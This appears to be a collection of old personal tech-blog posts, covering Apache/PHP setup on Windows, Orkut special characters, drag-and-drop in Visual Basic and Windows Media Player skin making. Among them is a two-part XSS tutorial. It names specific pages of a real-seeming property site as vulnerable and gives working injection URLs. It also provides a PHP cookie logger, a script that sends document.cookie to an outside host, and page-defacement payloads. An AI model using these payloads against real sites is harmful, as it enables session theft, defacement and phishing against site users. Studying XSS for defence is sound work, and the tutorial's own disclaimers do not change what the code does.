Setting up Apache-PHP on windows.

Step 1 : Downloading required files.

apache server binaries : httpd.apache.org
php binaries : www.php.net

Step 2 : Install apache server.
Installing apache server is pretty much simple, and same as any other installation.
Just enter a network domain name and server name and some email id (someone@microsoft.com).
Then choose a installation directory : for reference i am using "C:\".
Note that a directory called apache2 will be created under C:\ .
So "C:\apache2\" is our directory.
Verify your installation by taking your browser and visiting http://127.0.0.1 or http://localhost.
You will see a page that confirms your apache installation.

Step 3 : Configuring apache
Now goto "C:\Apache2\conf\".
Open the file "httpd.conf" in any text editor.
Lines beginning with # are comments .. just read them to know how to tweak apache.
Change the DocumentRoot property to the folder which is the root of the site.

#
# DocumentRoot: The directory out of which you will serve your
# documents. By default, all requests are taken from this directory, but
# symbolic links and aliases may be used to point to other locations.
#
DocumentRoot "C:/public_html/"

and after that a few lines under ..


#
# This should be changed to whatever you set DocumentRoot to.
#
<Directory "C:/public_html/">

#
# Possible values for the Options directive are "None", "All",
# or any combination of:
#   Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews
#
# Note that "MultiViews" must be named *explicitly* --- "Options All"
# doesn't give it to you.
#
# The Options directive is both complicated and important.  Please see
# http://httpd.apache.org/docs-2.0/mod/core.html#options
# for more information.
#
    Options Indexes FollowSymLinks

#
# AllowOverride controls what directives may be placed in .htaccess files.
# It can be "All", "None", or any combination of the keywords:
#   Options FileInfo AuthConfig Limit
#
    AllowOverride None

#
# Controls who can get stuff from this server.
#
    Order allow,deny
    Allow from all

</Directory>

So C:\public_html\ is the server root. ie http://localhost/ = C:\public_html.
After this is done test the configuration by executing (command line):


C:\Apache2\bin>apache -t

If the syntax is right you will get a "Syntax OK" message.

Step 4 : Installing php
To install php, just extract or copy the "PHP" folder to C:\Apache2\ so that C:\Apache2\PHP is created.

Step 5 : configuring PHP
Copy the "php.ini-recommended" file from C:\apache2\php\ to C:\apache2\
Rename it to "php.ini".

Add 2 lines to the end of the file httpd.conf:


LoadModule php5_module C:/apache2/php/php5apache2.dll 
AddType application/x-httpd-php .php

Test the php installation by making a php file.

test.php


<?php
phpinfo();
?>

Access the test.php (http://localhost/test.php) from your browser. If you see the source code, installation has failed.
If you see the php info file . PHP installation was successful.
Test the apache server configuration (mentioned above) to find out the error.

Stuck ? leave a comment...

Orkut - under maintanence

Orkut is closed for maintanence..
Hope it comes out well with new features ...

Is it just a routine maintanence?
Will we have cooler features?
What do you think ?

Special characters for orkut

Recently analyzing the traffic to my site I found that some wanted to know how to insert special characters in Orkut, yeah the fancy one's... So here is the info for them ...

Method 1
If you are on windows, take the character map from Start Menu > Programs > Accessories > System tools > Character Map.
You will find all the special characters you need in there.
Double clicking a character adds it to the text box below and when you have made your text in fancy just press Copy, and then paste wherever you want. Those having info about other OS please leave a comment ...

Method 2
You can enter special characters by :
Hold Down ALT
Type a number on the numeric keypad (1-255)
Release ALT
Now you will see a character appearing, enter different codes for different characters.
This was for windows, know about other OS? lemme know ...

Method 3
Just browse through profiles and you will find many characters, copy and paste. ;)

Here are some characters for you ...
Select | Copy | Paste

(Hope your browser renders the characters)

You can find more characters on the unicode character charts found at unicode, including one's with your local language.

Happy orkutting ...

XSS - Part 2 (Cookie stealing and Defacement)

Please note that this article is for educational purposes only, and is targeted at webmasters who have never seen this scenario. Please donot harm anyone.
Disclaimer : I am not responsible for any damages arising due to methods specified in this page. Webmasters please fix it ASAP.

In the first part we injected javascript successfully, and we got an alert. Now let us move to step 2 , defacing and cookie stealing.

Cookie Stealing using XSS
Cookie is used to manage sessions in browsers. Each person logged in gets a unique cookie, it is like a key to the site. So if you can get hold of this cookie, you have the key to enter the site. The site will welcome as the person from whom you stealed the cookie. Now let us look how to grab the cookie using cross site scripting.

For cookie stealing there must be an xss hole which can be injected through the url of the page like the one on propmart.com we discussed in first part.
Getting a cookie in javascript is accomplished by document.cookie, if somehow we could sent this to our page we have success. For this trick you will need to setup a page that logs the cookies that it recieves. The source of this page in php would be something like :
grabcookie.php


<?php
$handle=fopen("cookiejar.txt","a");
fputs($handle,"\n".$_GET["cookie"]."\n");
fclose($handle);
?>

Now to get the cookie to this page we would have to embed the following


<script>
var i=new Image();i.src = "http://myserver.com/myfolders/grabcookie.php?cookie="+document.cookie;
</script>

This code will send the cookies to your server. Now embeding the script in url can be done as discussed in part 1.

Next all you have to do is get this cookie (from cookiejar.txt) and set them in your browser. You can add and edit cookies in firefox with the cookie editor plugin.
Just a refresh will certainly get you in, if you are not too late (Cookie expires after sometime).

Defacing a website

To deface a website , the site must have a system which puts something you submit on their site (like guestbooks, feedbacks). Now if there is an XSS hole in such a page, you can embed the script to deface.


<script src="(location of script)"></script>

- OR -


<script>
document.body.innerHTML="<h1>XSS Defacing</h1>your HTML code here";
</script>

Either you can deface or craft a login page, which results in phishing.
Since it is dangerous to mention any examples, find out yourselves ...

Introduction to XSS Part 1

This document is purely for illustrative purposes only. I am not responsible for any losses arising to the websites mentioned below. Webmasters please be more alert...

What is it?

XSS stands for cross site scripting (CSS) Since CSS is already taken by Cascaded Style Sheets, it is named XSS X standing for a Cross. It is a kind of hacking which allows you to deface websites, loggin as another user etc.

Introduction

Let us start by looking how websites work. Starting with the simple ones, for example take this blog. It consists of a series of pages, connected by many links. This is just a simple case, now let us take a look at websites that are interactive. We are particularly interested in websites that allows us to post something and it appears on the site. The most simple example is google.com, when you search for something, it appears on their site. Or take the example of digg.com, reddit.com etc where you can submit information that is displayed on their site.

Phase 2 : Javascript injection

The next thing you try to do is put javascript into those areas which appear on the site. For example


<script>alert("hi");</script>

Most probably it wouldn't have work, because either you tried it on some well known site or you have to enter a little more code. Take the following example:
The following page has an XSS hole
http://www.propmart.com/search/pm_IdSearch.asp?
txtPropertyId=somesearchitem

But if you put
http://www.propmart.com/search/pm_IdSearch.asp?
txtPropertyId=<script>alert("xsjavascript:void(0)
Publishs");</script>
It didn't work. To understand why it didn't work we gotta look at its source.
This is how the rendered source (source that is outputted with your code) looks. To find out whether your injection has worked, take the source and search for your injected script. In this case it was found here :

Our script did not work because it was encapsulated within a string. So to break it out , we add extra code so that the new url would become :
http://www.propmart.com/search/pm_IdSearch.asp?
txtPropertyId="e;><script>alert("xss");</script><span style="e;
Now our script is properly executed and can be seen

The highlighted in red portion is the injected code. As you can see it works.
Another page with XSS hole is
http://www.propmart.com/mtrends/pm_marketrates.asp?city=Bangalore
and the injected url looks something like
http://www.propmart.com/mtrends/pm_marketrates.asp?
city=Bangalore-rates.jpg%22%3E%3Cscript%3Ealert(%22hi%22);%3C/script%3E%3Cimg%20src=%22Banglore
Now that you see that you can execute javascript on a clients browser, you can do anything from phishing, cookie stealing, defacement etc(Bookmark me and wait for more on this topic).
This is the case of simple sites that are not well made. Well made sites like google, yahoo and hotmail take this issue into serious consideration and have filters. Finding an XSS hole there is tough.
However some weak filters can be bypassed using the technologies mentioned in XSS Cheat Sheet

Message to Webmasters (specially of PropMart.com)

This article was written for you. Please provide a filter from Request to Response so that XSS can be prevented. Strip all html tags wherever it is ok to do so. Anti-XSS libraries are avalilable for use. For php users the strip_tags() function is a great way to prevent XSS in most cases.

Happy surfing...

Drag 'n Drop Files from explorer to VB

Introduction
This piece of code allows to make programs in Visual Basic 6, to have a drag and drop support of files directly from the folders. This is an alternative to the old File Open mechanism. This is way cooler...Code tested on Windows XP and on Visual Basic 6. Any information about other versions of windows or vb? Leave a comment...

Download
Download the code from planet source code.

The Code

How to make Windows Media Player Skins

What is a WMP skin?
WMP or Windows Media Player Skin is a way of customizing how the media player looks. Basically a wmp skin is a .wmz file found on "X:\Program Files\Windows Media Player\Skins\" folder (Replace X with your drive letter). Here we shall atempt to create a simple skin, from which you can create more advanced skins.

WMZ File Format
WMP Skins consists of a collection of files zipped together. So it means, the WMZ file on your computer is actually a .ZIP file. Inorder to decompress the file and view the content files, rename the .WMZ file to .ZIP and use a unzipping utility such as WinZIP or WinRAR to extract the containing files.
Take for example the Classic.wmz file, renaming and extracting gives us the following files:


classic.wms                 classic.js    back_disabled.bmp           back_down.bmp
back_hover.bmp              back_up.bmp    currentpos_background.bmp   currentpos_thumb.bmp
divider.bmp                 ffw_disabled.bmp   ffw_down.bmp                ffw_hover.bmp
ffw_up.bmp                  forward_disabled.bmp  forward_down.bmp            forward_hover.bmp
forward_up.bmp              icon_stereo.bmp   icon_wmlogo.bmp             intro_disabled.bmp
mute_down.bmp               mute_hover.bmp   mute_up.bmp                 next_disabled.bmp
next_down.bmp               next_hover.bmp   next_up.bmp                 pause_disabled.bmp
pause_down.bmp              pause_hover.bmp   pause_up.bmp                play_disabled.bmp
play_down.bmp               play_hover.bmp   play_up.bmp                 prev_disabled.bmp
prev_down.bmp               prev_hover.bmp   prev_up.bmp                 rw_disabled.bmp
rw_down.bmp                 rw_hover.bmp   rw_up.bmp                   stop_disabled.bmp
stop_down.bmp               stop_hover.bmp   stop_up.bmp                 toggle_down.bmp
toggle_hover.bmp            toggle_up.bmp   volume_background.bmp       volume_thumb.bmp

The main file in this collection is the "Classic.wms" file. It is just an XML file and can be edited or created with any text editing software.

Can't see the WMZ extension?

Goto folder options and uncheck "Hide Extensions of known Type"

Click here to Download the sample skin file made in the following section.

Starting with your own skin ...

Make a folder in the ":\Program Files\Windows Media Player\Skins\", with a suitable name, as in my case "digitalpbk".
Next inside the folder make a new file, with the name and extension ".wms" , (digitalpbk.wms).

Paste the following code with suitable substitutions
Show/Hide Code


<theme
title="DigitalPbk"
author="Arun P"
copyright="(c)2006 http://digitalpbk.blogspot.com . All rights reserved."
version="1.0"
>
<view>
</view>
</theme>

Save the file.

Now we have made a base for our skin. Check out if you have done it right, by taking the WMP Skin chooser. Look for the skin with the name you have given (digitalpbk), and click it. Depending on the version of WMP you are using you will see a white rectangle. The Picture here shows the skin on Windows Media Player 11.

Next we can start making the actual theme. Modify the view node to accomodate the following :
Show/Hide Code
```
<view id="mview"
left="0" top="0" width="600" height="267"
resizable="false"
minWidth="600" minHeight="267"
titlebar="false"
title="Digitalpbk"
scriptFile="digitalpbk.js"
onload="init()"
backgroundColor="none"

Make a new js file under the folder (Skins\digitalpbk\). For eg: digitalpbk.js. This will be our primary script file. As you can see it is very much similar to a HTML,

id represents the name or identifier of the tag (node)

left, top, width, and height give the dimensions

minWidth and minHeight restricts the minimum possible size of the Skin (not used on resizable="false") just given for illustrative purpose.

resizable="false" specifies that our skin cannot be resized,giving false makes it remains in the specified dimensions.

titleBar="false" hides the title bar (The one on top with the Close, Maximize, And Minimize buttons).

scriptFile represents our javascript file which handles the programming part of the skin.

onload and onresize are events which are triggered when the window is loaded or resized respectively. Please note that the onresize event is not called in case the skin is not resizable.

backgroundColor="none" specifies that the skin is transparent in areas where nothing is there. Alternatively you can specify a color to fill those areas, but transparency is cooler.

At this point if you apply the skin you wont be able to see anything! In case you applied the skin and want to return to the full mode, press Ctrl + 1 to return to full mode.

Regions in the Main View are divided into various Sub Views. Now we are into the actual making of the user interface, the buttons, the sliders etc.
First we place a base for the control view, with a suitable background. The following code comes under the View node. (<view></view>)
```
<subview backgroundImage="main_bg.png" transparencyColor="#ff00ff" >
</subview>
```
You can generally use any background image of formats bmp,png,gif etc. I have used a png file with a car as base. When making the picture portions you want to be left transparent must be filled with a particular colour (#FF00FF commonly used). This colour is specified in the transparencyColor attribure.
Now the product looks somewhat like this:

Next we place buttons for minimizing, closing and return to full mode. Let us place them somewhere in the bottom center. (Inside the subview node)
Show/Hide Code
```
<buttongroup id="mainfx" left="120" top="240" 
image="mfx_norm.gif" hoverImage="mfx_over.gif" 
downImage="mfx_over.gif" mappingImage="mfx_map.gif" 
transparencyColor="#ff00ff" >
<buttonelement mappingColor="#0000ff" onClick="view.minimize()" upToolTip="Minmize" cursor="hand"/>
<buttonelement mappingColor="#0080ff" onClick="view.returnToMediaCenter()" upToolTip="Return To Full Mode" cursor="hand"/>
<buttonelement mappingColor="#00ffff" onClick="view.close()" upToolTip="Close" cursor="hand"/>
</buttongroup>
```
This code places three buttons with hover effects.

image attribute specifies the normal image file

hoverImage specified the hover image file

mappingImage provides the map of the buttons so that the program knows to differentiate the three buttons.

Normal Image :
Hover Image :
Mapping Image :

The mapping color specified in the buttonelement tag is the colour given on the mapping image. Thus three buttons with hover effects are ready.
The onclickevents does the functions specified and can be easily understood. cursor="hand" specifies the cursor type when over the buttons.

Similarly we will place buttons Play, Pause, Stop, Next Previous etc.
Show/Hide Code


<buttongroup id="pps" left="128" top="15" image="pps_norm.png" 
hoverImage="pps_over.png" downImage="pps_over.png" mappingImage="pps_map.png" 
transparencyColor="#ff00ff" >
 <buttonelement mappingColor="#8080FF" onClick="player.controls.stop()" 
 upToolTip="Stop" cursor="hand"/>
 <buttonelement mappingColor="#8000FF" onClick="player.controls.pause()" 
 upToolTip="Pause" cursor="hand"/>
 <buttonelement mappingColor="#0000FF" onClick="player.controls.play()" 
 upToolTip="Play" cursor="hand"/>
</buttongroup>

Next we add a volume slider bar.
Show/Hide Code


<customSlider id="volume" left="520" top="70" 
min="0" max="100" borderSize="0" image="vol.png" 
positionImage="vol_pos.png" enabled="true" 
value="wmpprop:player.settings.volume" 
value_onchange="wmpprop:player.settings.volume = value;updateVolToolTip('volume');player.settings.mute = false;" 
cursor="hand" 
toolTip="Volume" onMouseUp="toolTip='Volume'" transparencyColor="#ff00ff" />

NormalImage is a series of images for each position of the volume.

positionImage is map of grayscale gradient representing a series of buttons indicating volume levels.

Value indicates the volume value and initialized to the volume. When changed, the volume is updated. updateVolToolTip is a javascript function which updates the volume tooltip and its code is pasted in the "digitalpbk.js" which is as follows:


function updateVolToolTip(id){
 vol = "";
 vol += player.settings.volume;
 eval(id + ".toolTip = vol" );
}

Normal Image :
Position Image :

Next let us learn how to add dynamic and scrolling text.

Show/Hide Code


<text id="time" left="250" top="210" width="100" fontSize="9" scrolling="false" fontSmoothing="true" foregroundColor="#888888" 
 fontStyle="bold" justification="center" value="wmpprop:player.controls.currentPositionString" fontFace="arial narrow,arial,tahoma,verdana" />
<text id="abt" left="190" top="210" width="75" fontSize="9" scrolling="true" scrollingAmount="2" scrollingDelay="10" fontSmoothing="true" foregroundColor="#888888" 
 fontStyle="bold" justification="center" value="A Skin by ArunP, Click on the car's logo to visit http://digitalpbk.blogspot.com to find out how you too can make cool skins like this, easily." fontFace="arial narrow,arial,tahoma,verdana" />
